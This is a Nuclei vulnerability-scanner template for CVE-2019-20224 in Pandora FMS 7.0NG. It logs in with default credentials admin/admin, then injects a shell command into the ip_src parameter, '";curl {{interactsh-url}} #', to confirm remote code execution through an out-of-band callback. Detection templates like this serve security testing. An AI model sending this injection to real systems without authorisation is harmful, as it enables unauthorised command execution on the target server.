nuclei-templates/cves/2019/CVE-2019-20224.yaml

51 lines
1.8 KiB
YAML

id: CVE-2019-20224
info:
name: Pandorafms - Remote Code Execution
author: ritikchaddha
severity: high
description: |
netflow_get_stats in functions_netflow.php in Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip_src parameter in an index.php?operation/netflow/nf_live_view request. This issue has been fixed in Pandora FMS 7.0 NG 742.
reference:
- https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20224
- https://gist.github.com/mhaskar/2153d66a0928492d76b799ba13b9e3f9
- https://drive.google.com/file/d/1DkWR5MylzeNr20jmHXTaAIJmf3YN-lnO/view?usp=sharing
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2019-20224
cwe-id: CWE-78
tags: pandorafms,rce,cve,cve2019,authenticated,oast
requests:
- raw:
- |
POST /pandora_console/index.php?login=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
nick=admin&pass=admin&login_button=Login
- |
POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{interactsh-url}}+%23&draw_button=Draw
cookie-reuse: true
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
name: http
words:
- "http"
- type: status
status:
- 200